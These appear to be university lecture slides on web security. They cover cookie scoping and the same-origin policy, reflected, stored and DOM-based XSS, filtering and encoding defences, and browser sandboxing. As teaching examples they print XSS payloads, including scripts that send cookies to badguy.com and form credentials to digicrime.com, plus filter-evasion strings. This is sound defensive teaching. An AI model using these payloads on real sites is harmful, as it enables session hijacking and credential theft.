Web (In)Security

Malware Introduction
Mitigating Malware

Common Vulnerabilities

- **XSS** – Cross-site scripting
  - Bad web site sends innocent victim a script that steals information from an honest web site

- **CSRF** – Cross-site request forgery
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query

- Other problems
  - HTTP response splitting, bad certificates, ...
Common Vulnerabilities

- **XSS** – Injects malicious script into trusted context
  - Bad web site sends innocent victim a script that steals information from an honest web site
- **CSRF** – Leverages user’s session at sever
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site
- **SQL** – Uses SQL
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
- Other problems
  - HTTP response splitting, bad certificates, ...

Cookie Same Origin Policy
Cookies

- Web application servers are generally "stateless".

- A series of HTTP requests from the same browser appears to the server as totally independent; it's not obvious that they are all coming from the same browser or user.

- Typically, Web servers don't maintain any information from request to request (only information on disk survives from one request to another).

- Statelessness causes problems for application developers: need to tie together a series of requests from the same user.

---

Cookies

- The first time a browser connects with a particular server, there are no cookies.

- The server creates a unique identifier, and returns a Set-Cookie: header in the response that contains the identifier.

- In the future when the browser connects with the same server, it includes a Cookie:
  - header containing the identifier, which the server can use to connect related requests.
What's in a cookie?

- Name and data.
- The size of data is limited by browsers (typically < 4 KB).
- A server can define multiple cookies with different names, but browsers limit the number of cookies per server (around 50).
- Domain for this cookie: server, port (optional), URL prefix (optional). The cookie is only included in requests matching its domain.
- Expiration date: browser can delete old cookies.
- How are cookies used?
- Web server maintains a collection of sessions
- Each session is a pool of data related to an active connection (one browser instance).
- Typically the cookie for an application contains an identifier for a session.

Same origin policy: “high level”

Review: Same Origin Policy (SOP) for DOM:

- Origin A can access origin B’s DOM if match on:
  - (scheme, domain, port)

Today: Same Original Policy (SOP) for cookies:

- Generally speaking, based on:
  - ([scheme], domain, path)

optional

scheme://domain:port/path?params
Setting/deleting cookies by server

- Delete cookie by setting “expires” to date in past
- Default scope is domain and path of setting URL

Scope setting rules (write SOP)

- **domain**: any domain-suffix of URL-hostname, except TLD
  - example: host = "login.site.com"

  - **allowed domains**: login.site.com, .site.com
  - **disallowed domains**: user.site.com, othersite.com, .com

  ⇒ **login.site.com** can set cookies for all of **.site.com**
  - but not for another site or TLD
  - Problematic for sites like **.stanford.edu**

- **path**: can be set to anything
Cookies are identified by (name, domain, path)

cookie 1
name = userid
value = test
domain = login.site.com
path = /
secure

cookie 2
name = userid
value = test123
domain = .site.com
path = /
secure

distinct cookies

- Both cookies stored in browser’s cookie jar;
  both are in scope of login.site.com

Reading cookies on server (read SOP)

Browser sends all cookies in URL scope:
- cookie-domain is domain-suffix of URL-domain, and
- cookie-path is prefix of URL-path, and
- [protocol=HTTPS if cookie is “secure”]

Goal: server only sees cookies in its scope
Examples
both set by login.site.com

<table>
<thead>
<tr>
<th>cookie 1</th>
<th>cookie 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>name = userid</td>
<td>name = userid</td>
</tr>
<tr>
<td>value = u1</td>
<td>value = u2</td>
</tr>
<tr>
<td>domain = login.site.com</td>
<td>domain = .site.com</td>
</tr>
<tr>
<td>path = /</td>
<td>path = /</td>
</tr>
<tr>
<td>secure</td>
<td>non-secure</td>
</tr>
</tbody>
</table>

http://checkout.site.com/  cookie: userid=u2
http://login.site.com/     cookie: userid=u2
https://login.site.com/    cookie: userid=u1; userid=u2
                           (arbitrary order)

Client side read/write: document.cookie

- Setting a cookie in Javascript:
  ```javascript
document.cookie = "name=value; expires=...; "
  ```

- Reading a cookie: alert(document.cookie)
  prints string containing all cookies available for
document (based on [protocol], domain, path)

- Deleting a cookie:
  ```javascript
document.cookie = "name=; expires= Thu, 01-Jan-70"
  ```

document.cookie often used to customize page in Javascript.
javascript: alert(document.cookie)

Displays all cookies for current document

**Viewing/deleting cookies in Browser UI**
Cookie protocol problems

Server is blind:
- Does not see cookie attributes (e.g. secure)
- Does not see which domain set the cookie

Server only sees:   \textbf{Cookie: NAME=VALUE}

Example 1: login server problems

- Alice logs in at  \texttt{login.site.com} 
  login.site.com sets session-id cookie for \texttt{.site.com}
- Alice visits \texttt{evil.site.com} 
  overwrites \texttt{.site.com} session-id cookie 
  with session-id of user “badguy”
- Alice visits \texttt{cs142hw.site.com} to submit homework. 
  cs142hw.site.com thinks it is talking to “badguy”

Problem: cs142hw expects session-id from login.site.com; 
cannot tell that session-id cookie was overwritten
Example 2: "secure" cookies are not secure

- Alice logs in at https://www.google.com/accounts
  - Network attacker can inject into response
    - Set-Cookie: LSID=badguy; secure
  - Problem: network attacker can re-write HTTPS cookies!

Alice visits http://www.google.com (cleartext)
  - Network attacker can inject into response
    - Set-Cookie: LSID=badguy; secure

Problem: network attacker can re-write HTTPS cookies!
⇒ HTTPS cookie value cannot be trusted

Interaction with the DOM SOP

Cookie SOP: path separation
  - x.com/A does not see cookies of x.com/B

Not a security measure:
  - DOM SOP: x.com/A has access to DOM of x.com/B

Path separation is done for efficiency not security:
  - x.com/A is only sent the cookies it needs
Cookies have no integrity !!

Storing security data on browser?

- User can change and delete cookie values !!
  - Edit cookie file (FF3: cookies.sqlite)
  - Modify Cookie header (FF: TamperData extension)

- Silly example: shopping cart software
  Set-cookie: shopping-cart-total = 150 ($)

- User edits cookie file (cookie poisoning):
  Cookie: shopping-cart-total = 15 ($)

Similar to problem with hidden fields
<i>&lt;INPUT TYPE="hidden" NAME=price VALUE="150"&gt;</i>
Not so silly … (as of 2/2000)

- D3.COM Pty Ltd: ShopFactory 5.8
- @Retail Corporation: @Retail
- Adgrafix: Check It Out
- Baron Consulting Group: WebSite Tool
- ComCity Corporation: SalesCart
- Crested Butte Software: EasyCart
- Dansie.net: Dansie Shopping Cart
- Intelligent Vending Systems: Intellivend

- Make-a-Store: Make-a-Store OrderPage
- McMurtrey/Whitaker & Associates: Cart32 3.0
- pknutsen@nethut.no: CartMan 1.04
- Rich Media Technologies: JustAddCommerce 5.0
- SmartCart: SmartCart
- Web Express: Shoptron 1.2

Source: http://xforce.iss.net/xforce/xfdb/4621

Solution: cryptographic checksums

Goal: data integrity
Requires secret key \( k \) unknown to browser

Generate tag: \( T \leftarrow F(k, \text{value}) \)

Verify tag: \( T = F(k, \text{value}) \)

"value" should also contain data to prevent cookie replay and swap
**Example: .NET 2.0**

  - Secret web server key intended for cookie protection
  - Stored on all web servers in site

  Creating an encrypted cookie with integrity:
  - `HttpCookie cookie = new HttpCookie(name, val);
    HttpCookie encodedCookie =
    `HttpSecureCookie.Encode` (cookie);

Decrypted and validating an encrypted cookie:
- `HttpSecureCookie.Decode` (cookie);

**Cookie theft:**

**basic cross site scripting (XSS)**
**Basic scenario: reflected XSS attack**

1. visit web site
2. receive malicious page
3. click on link
echo user input
4. echo search term into response
5. send valuable data

**XSS example**

- search field on victim.com:

- Server-side implementation of `search.php`:
  ```html
  <HTML>
  <TITLE> Search Results </TITLE>
  <BODY>
  Results for `<php echo $_GET['term'] ?>` : 
  ```
  ```html
  ... ```
  ```
  </BODY>
  </HTML>
  ```
Bad input

- Consider link: (properly URL encoded)
  
  ```
  <script>
  window.open(
    "http://badguy.com?cookie = " +
    document.cookie );
  </script>
  ```

- What if user clicks on this link?
  1. Browser goes to victim.com/search.php
  2. Victim.com returns
     `<HTML> Results for <script> ... </script>`
  3. Browser executes script:
      - Sends badguy.com cookie for victim.com
What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.

- Methods for injecting malicious code:
  - Reflected XSS ("type 1")
    - the attack script is reflected back to the user as part of a page from the victim site
  - Stored XSS ("type 2")
    - the attacker stores the malicious code in a resource managed by the web application, such as a database
  - Others, such as DOM-based attacks

Basic scenario: reflected XSS attack

1. Collect email addr
2. send malicious email
3. click on link
echo user input
4. send valuable data

E-mail version

User Victim

Server Victim

Attack Server
**PayPal® 2006 Example Vulnerability**

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.


---

Adobe PDF viewer “feature” (version <= 7.9)

- PDF documents execute JavaScript code
  ```javascript
  http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:code_here
  ```
  
  The code will be executed in the context of the domain where the PDF files is hosted
  
  This could be used against PDF files hosted on the local filesystem

Here’s how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
  

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

And if that doesn’t bother you...

- PDF files on the local filesystem:

  file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resour ce/ENUtxt.pdf#blah=javascript:alert("XSS");

  JavaScript Malware now runs in local context with the ability to read local files ...
Update to Dreamweaver and Contribute to address potential cross-site scripting vulnerabilities

Release date: January 16, 2008
Vulnerability identifier: APSB08-01
CVE number: CVE-2007-6244, CVE-2007-6637
Platform: All platforms
Affected software versions: Dreamweaver CS3, Dreamweaver 8, Contribute CS3, Contribute 4

Summary
Potential cross-site scripting vulnerabilities have been identified in code generated by the Insert Flash Video command in Dreamweaver and Contribute. Users who have used the Insert Flash Video command in Dreamweaver or Contribute are recommended to update their websites and product installations with the instructions provided below. This update addresses an issue previously described in Security Advisory APSA07-06.

Solution
Adobe recommends all Users who have used the Insert Flash Video command in Dreamweaver or Contribute are recommended to update their websites and product installations with the instructions provided in the following TechNote.

http://www.adobe.com/support/security/bulletins/apsb08-01.html

Adobe Dreamweaver and Contribute

- "skinName" parameter accepted by all Flash files produced by "Insert Flash Video" feature
- "skinName" can be used to force victims to load arbitrary URLs
- Example link

http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

- Status
  - Fixed in the December 2007 Flash player release

http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw
**Reflected XSS attack**

1. Attack Server
2. Server Victim
3. User Victim

- User Victim sends bad stuff
- Attack Server reflects the bad stuff
- Server Victim receives the bad stuff
- Server Victim sends back valuable data

**Stored XSS**

1. Attack Server
2. Server Victim
3. User Victim

- User Victim requests content
- Server Victim stores the content
- User Victim receives the content
- User Victim downloads the content
- Server Victim sends back valuable data
MySpace.com (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but can do Javascript within CSS tags:
    `<div style="background:url('javascript:alert(1)')">`
    And can hide “javascript” as “java\nscript”

- With careful javascript hacking:
  - Samy worm infects anyone who visits an infected MySpace page ...
    and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html

Stored XSS using images

Suppose `pic.jpg` on web server contains HTML!

- request for `http://site.com/pic.jpg` results in:

  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  `<html> fooled ya </html>`

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an "image" that is a script?
Untrusted script in Facebook apps

DOM-based XSS (no server used)

- Example page

  ```html
  <HTML><TITLE>Welcome!</TITLE>
  Hi <SCRIPT>
  var pos = document.URL.indexOf("name=") + 5;
  document.write(document.URL.substring(pos,document.URL.length));
  </SCRIPT>
  </HTML>
  ```

- Works fine with this URL

  http://www.example.com/welcome.html?name=Joe

- But what about this one?

  http://www.example.com/welcome.html?name=
  <script>alert(document.cookie)</script>
Lots more information about attacks

Strangely, this is not the cover of the book ...
How to Protect Yourself (OWASP)

- The best way to protect against XSS attacks:
  - Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  - Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  - We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Input data validation and filtering

- Never trust client-side data
  - Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding

- Remove / encode (X)HTML special chars
  - &lt; for <, &gt; for >, &quot; for “ ... 
- Allow only safe commands (e.g., no <script>...)
- Caution: `filter evasion` tricks
  - See XSS Cheat Sheet for filter evasion
  - E.g., if filter allows quoting (of <script> etc.), use malformed quoting: &lt;IMG """"&gt;&lt;SCRIPT>alert("XSS")... 
  - Or: (long) UTF-8 encode, or...
- Caution: Scripts not only in <script>!

Illustrative example

Why is this vulnerable to XSS?

Analyze application

<table>
<thead>
<tr>
<th>Use Case Scenario</th>
<th>Scenario Inputs</th>
<th>Input Trusted?</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
</tr>
</thead>
<tbody>
<tr>
<td>User adds bookmark</td>
<td>User name, Description, Bookmark</td>
<td>No</td>
<td>Bookmark written to file</td>
<td>Yes</td>
</tr>
<tr>
<td>Application thanks user</td>
<td>User name</td>
<td>No</td>
<td>Thank you message page</td>
<td>Yes</td>
</tr>
<tr>
<td>User resets bookmark file</td>
<td>Button click event</td>
<td>Yes</td>
<td>None</td>
<td>N/A</td>
</tr>
</tbody>
</table>
Select input encoding method

<table>
<thead>
<tr>
<th>Encoding Method</th>
<th>Should Be Used If ...</th>
<th>Example/Pattern</th>
</tr>
</thead>
<tbody>
<tr>
<td>HtmlEncode</td>
<td>Untrusted input is used in HTML output except when assigning to an HTML attribute.</td>
<td><code>&lt;a href=&quot;http://www.contoso.com&quot;&gt;Click Here ![Untrusted input]&lt;/a&gt;</code></td>
</tr>
<tr>
<td>HtmlAttributeEncode</td>
<td>Untrusted input is used as an HTML attribute</td>
<td><code>&lt;hr noshade size=[Untrusted input]&gt;</code></td>
</tr>
<tr>
<td>JavaScriptEncode</td>
<td>Untrusted input is used within a JavaScript context</td>
<td><code>&lt;script type=&quot;text/javascript&quot;&gt; ... ![Untrusted input] &lt;/script&gt;</code></td>
</tr>
<tr>
<td>UrlEncode</td>
<td>Untrusted input is used in a URL (such as a value in a querystring)</td>
<td><code>&lt;a href=&quot;http://search.msn.com/results.aspx?q=[Untrusted-input]&quot;&gt;Click Here&lt;/a&gt;</code></td>
</tr>
<tr>
<td>XmlEncode</td>
<td>Untrusted input is used in XML output, except when assigning to an XML attribute</td>
<td><code>&lt;xml_tag&gt;[Untrusted input]&lt;/xml_tag&gt;</code></td>
</tr>
<tr>
<td>XmlAttributeEncode</td>
<td>Untrusted input is used as an XML attribute</td>
<td><code>&lt;xml_tag attribute=[Untrusted input]&gt;Some Text&lt;/xml_tag&gt;</code></td>
</tr>
</tbody>
</table>

Analyze application

<table>
<thead>
<tr>
<th>Use Case</th>
<th>Scenario</th>
<th>Inputs</th>
<th>Input Trusted?</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
<th>Requires Encoding</th>
<th>Encoding Method to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>User adds bookmark</td>
<td>User name, Description, Bookmark</td>
<td>No</td>
<td>Bookmark written to file</td>
<td>Yes</td>
<td>No (output written to file not Web response)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Application thanks user</td>
<td>User name</td>
<td>No</td>
<td>Thank you message page</td>
<td>Yes</td>
<td>Yes</td>
<td>HtmlEncode</td>
</tr>
<tr>
<td></td>
<td>User resets bookmark file</td>
<td>Button click event</td>
<td>Yes</td>
<td>None</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody>
</table>
## Select output encoding method

<table>
<thead>
<tr>
<th>Use Case Scenario</th>
<th>Scenario Inputs</th>
<th>Input Trusted?</th>
<th>Scenario Outputs</th>
<th>Output Contains Untrusted Input?</th>
<th>Requires Encoding</th>
<th>Encoding Method to Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>User views saved bookmarks</td>
<td>Bookmark file data</td>
<td>No</td>
<td>Contributor, description, and link displayed in browser</td>
<td>Yes</td>
<td>Yes</td>
<td>Name - HtmlEncode</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Description – HtmlEncode</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>BookmarkLink - input validation</td>
</tr>
</tbody>
</table>
Common encoding functions

- PHP: htmlspecialchars(string)

  & → &amp; " → &quot; ' → &apos;
  < → &lt; > → &gt;

  htmlspecialchars(
    "&lt;a href='test'>Test</a&gt;", ENT_QUOTES);
  Outputs:
    &lt;a href=&amp;#039;test&amp;#039;&gt;Test&lt;/a&gt;

- ASP.NET 1.1:

  - Server.HtmlEncode(string)
    - Similar to PHP htmlspecialchars

ASP.NET output filtering

- validateRequest: (on by default)
  - Crashes page if finds <script> in POST data.
  - Looks for hardcoded list of patterns
  - Can be disabled: <%@ Page validateRequest="false" %>

See http://us3.php.net/htmlspecialchars
**Caution: Scripts not only in <script>!**

- JavaScript as scheme in URI
  - `<img src="javascript:alert(document.cookie);">`
- JavaScript On{event} attributes (handlers)
  - OnSubmit, OnError, OnLoad, ...
- Typical use:
  - `<img src="none" OnError="alert(document.cookie)">`
  - `<iframe src='https://bank.com/login` Onload='`steal()` '>
  - `<form> action="logon.jsp" method="post"
    onsubmit="hackImg=new Image;
    hackImg.src='http://www.digicrime.com/'+document.forms(1).login.value'+':'+
document.forms(1).password.value;" </form>`

**Problems with filters**

- Suppose a filter removes `<script`
  - Good case
    - `<script src="...
    → src="...
  - But then
    - `<script src="...
    → `<script src="...


Pretty good filter

function RemoveXSS($val) {
    // this prevents some character re-spacing such as <javascript>
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
    // straight replacements ... prevents strings like <img
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`';
    for ($i = 0; $i < strlen($search); $i++) {
        $val = preg_replace('/(&\x[0-8]{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
        $val = preg_replace('/(&\x[0-8]{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
    } 
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', ...);
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', ...);
    $ra = array_merge($ra1, $ra2);
    $found = true; // keep replacing as long as the previous round replaced something
    while ($found == true) { ...}
    return $val;
}

http://kallahar.com/smallprojects/php_xss_filter_function.php

But watch out for tricky cases

- Previous filter works on some input
  - Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php
- But consider this

  java\&#x09;script Blocked; \&#x09 is horizontal tab

  java\&#x26;\#x09;script → java\&#x09;script

  Instead of blocking this input, it is transformed to an attack

  Need to loop and reapply filter to output until nothing found
Advanced anti-XSS tools

- Dynamic Data Tainting
  - Perl taint mode
- Static Analysis
  - Analyze Java, PHP to determine possible flow of untrusted input

Client-side XSS defenses

- Proxy-based: analyze the HTTP traffic exchanged between user’s web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user’s web browser.
- Application-level firewall: analyze browsed HTML pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules.
- Auditing system: monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior.
IE 8 XSS Filter

- What can you do at the client?

![Diagram showing the flow of a hack attack](http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx)

Points to remember

- Key concepts
  - Whitelisting vs. blacklisting
  - Output encoding vs. input sanitization
  - Sanitizing before or after storing in database
  - Dynamic versus static defense techniques

- Good ideas
  - Static analysis (e.g. ASP.NET has support for this)
  - Taint tracking
  - Framework support
  - Continuous testing

- Bad ideas
  - Blacklisting
  - Manual sanitization
THE END of bad things

Malware Prevention
**Approach**

- Fact: Browsers will always have bugs
- Goal: Reduce the harm

**Outline**

1. Preventing the Introduction
2. Vulnerability Response
3. Failure Containment
PREVENTING THE INTRODUCTION

Drive-by downloads

- Silently installs software when web page is loaded
- Increase exposure by compromising other sites and insert code into them
- Sites owners unaware they are participating in an attack

Provos et al. "All your iFRAMES Point to Us"
World of Warcraft keylogger

- Flash Player exploit used to install keylogger
- Links to malicious SWF posted on forums
- "Solution": Disable hyperlinks on forum

Scaling it up to the entire web

- 1.3% of the incoming search queries to Google returned at least one malware site
- Visit sites with an army of browsers in VMs, check for changes to local system
- Indicate potentially harmful sites in search results
Now do it in the browser

Helping the webmaster out
VULNERABILITY RESPONSE

Closing the vulnerability window

- Delay publication
  - Coordinate with security researchers
  - Offer prizes for responsibly disclosed security bugs
- Make patch available faster
- Deploy patch faster
Obstacles to patch deployment

- Interrupts work flow
- Requires administrator privileges
- Risk of breaking things
- Separate update mechanisms

- Silent approach: GoogleUpdate.exe

Getting better, but not fast enough

Frei et al. Examination of vulnerable online Web browser populations and the "insecurity iceberg"
FAILURE CONTAINMENT

Severity

"Critical"

"High"

"Medium"

Universal XSS

File Theft

Arbitrary Code Execution
**Protected Mode IE**

- IE7 in Vista is a "low rights" process
- Can prompt user to get more privileges

**IE7 Containment Goals**

- Arbitrary code execution won't let attacker:
  - Install software
  - Copy files to startup folder
  - Change homepage or search provider setting

- Can we do more?
Containment Goals

Universal XSS  File Theft  Arbitrary Code Execution

Chromium Security Architecture

- Browser ("kernel")
  - Full privileges (file system, networking)
  - Coarse-grained security policies protect local system
- Rendering engine
  - Sandboxed
  - Fine-grained same origin policy enforcement
- One process per plugin
  - Sandboxing optional

Barth et al. "The Security Architecture of the Chromium Browser"
Preventing File Theft

- **File Downloads.**
  - Renderer can only write files to `My Documents\Downloads`

- **File Uploads.**
  - Renderer is granted ability to upload file using browser kernel's file picker.

- **Network Requests.**
  - Can only request web-safe schemes (http, https, ftp)
  - Dedicated renderers for file://

Task Allocation

<table>
<thead>
<tr>
<th>Rendering Engine</th>
<th>Browser Kernel</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML parsing</td>
<td>Cookie database</td>
</tr>
<tr>
<td>CSS parsing</td>
<td>History database</td>
</tr>
<tr>
<td>Image decoding</td>
<td>Password database</td>
</tr>
<tr>
<td>JavaScript interpreter</td>
<td>Window management</td>
</tr>
<tr>
<td>Regular expressions</td>
<td>Location bar</td>
</tr>
<tr>
<td>Layout</td>
<td>Safe Browsing blacklist</td>
</tr>
<tr>
<td>Document Object Model</td>
<td>Network stack</td>
</tr>
<tr>
<td>Rendering</td>
<td>SSL/TLS</td>
</tr>
<tr>
<td>SVG</td>
<td>Disk cache</td>
</tr>
<tr>
<td>XML parsing</td>
<td>Download manager</td>
</tr>
<tr>
<td>XSLT</td>
<td>Clipboard</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Both</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>URL parsing</td>
<td></td>
</tr>
<tr>
<td>Unicode parsing</td>
<td></td>
</tr>
</tbody>
</table>
Is the "kernel" too complex?

- Total CVEs:

<table>
<thead>
<tr>
<th></th>
<th>Browser</th>
<th>Renderer</th>
<th>Unclassified</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Explorer</td>
<td>4</td>
<td>10</td>
<td>5</td>
</tr>
<tr>
<td>Firefox</td>
<td>17</td>
<td>40</td>
<td>3</td>
</tr>
<tr>
<td>Safari</td>
<td>12</td>
<td>37</td>
<td>1</td>
</tr>
</tbody>
</table>

- Arbitrary code execution vulnerabilities:

<table>
<thead>
<tr>
<th></th>
<th>Browser</th>
<th>Renderer</th>
<th>Unclassified</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Explorer</td>
<td>1</td>
<td>9</td>
<td>5</td>
</tr>
<tr>
<td>Firefox</td>
<td>5</td>
<td>19</td>
<td>0</td>
</tr>
<tr>
<td>Safari</td>
<td>5</td>
<td>10</td>
<td>0</td>
</tr>
</tbody>
</table>

OP Browser

- Fine-grained componentization
- Want to mitigate UXSS
- Focus is on plugin containment
  - Will plugins refuse to be contained?
  - Historically a platform for innovation in policy
- Missing a basic issue ...

Grier et al. "Secure web browsing with the OP web browser"
Why UXSS Containment is Hard

Google

<script src=https://mail.google.com/>

"www.attacker.com" tab

"www.google.com" tab

Both requests carry cookies!

Tahoma's Approach

- Very coarse grained policy
- Separate browser state for each top-level site
- Site can opt in to more sharing via manifest files

Cox et al. "A Safety-Oriented Platform for Web Applications"
Gazelle's Approach

- Inspect cross-origin HTTP responses
- Filter unexpected content types

Another approach: Cookie Blocking

- Block the "Cookie" header for cross-domain resource loads
- Third-party cookie blocking already does this for privacy
- Third-party frames are ok
- Cross-subdomain might be ok

Open question: How many sites does this break compared to content type filtering?
Conclusion

Frequency of interactions with attacker  
Percentage of time vulnerability is unpatched  
Damage if attack works

1. Preventing the Introduction  
2. Vulnerability Response  
3. Failure Containment

Reading

- Barth et al. "The Security Architecture of the Chromium Browser"

- Cited literature:
  - Provos et al. "All your iFRAMES Point to Us"
  - Frei et al. Examination of vulnerable online Web browser populations and the "insecurity iceberg"
  - Cox et al. "A Safety-Oriented Platform for Web Applications"
  - Grier et al. "Secure web browsing with the OP web browser"
  - Wang et al. "The Multi-Principal OS Construction of the Gazelle Web Browser"